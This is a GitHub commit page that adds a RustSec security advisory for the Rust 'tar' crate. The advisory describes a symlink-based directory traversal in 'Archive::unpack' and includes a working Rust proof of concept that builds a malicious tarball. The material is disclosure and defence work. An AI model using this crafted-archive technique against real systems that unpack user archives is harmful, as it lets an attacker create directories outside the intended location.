Skip to content

Commit

Permalink
Add directory traversal for tar (#965)
Browse files Browse the repository at this point in the history
Co-authored-by: Tony Arcieri <bascule@gmail.com>
  • Loading branch information
kpcyrd and tarcieri authored Aug 8, 2021
1 parent 82ce1aa commit 158cd65
Showing 1 changed file with 57 additions and 0 deletions.
57 changes: 57 additions & 0 deletions crates/tar/RUSTSEC-0000-0000.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
```toml
[advisory]
id = "RUSTSEC-0000-0000"
package = "tar"
date = "2021-07-19"
url = "https://github.com/alexcrichton/tar-rs/issues/238"

[versions]
# none, 0day
patched = []

[affected]
functions = { "tar::Archive::unpack" = ["< 1.2.3"] }
```

# Links in archive can create arbitrary directories

When unpacking a tarball that contains a symlink the `tar` crate may create
directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are
already created at this point.

```rust
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
let mut buf = Vec::new();

{
let mut builder = Builder::new(&mut buf);

// symlink: parent -> ..
let mut header = Header::new_gnu();
header.set_path("symlink")?;
header.set_link_name("..")?;
header.set_entry_type(EntryType::Symlink);
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;

// file: symlink/exploit/foo/bar
let mut header = Header::new_gnu();
header.set_path("symlink/exploit/foo/bar")?;
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;

builder.finish()?;
};

Archive::new(&*buf).unpack("demo")
}
```

This issue was discovered and reported by Martin Michaelis (@mgjm).

0 comments on commit 158cd65

Please # to comment.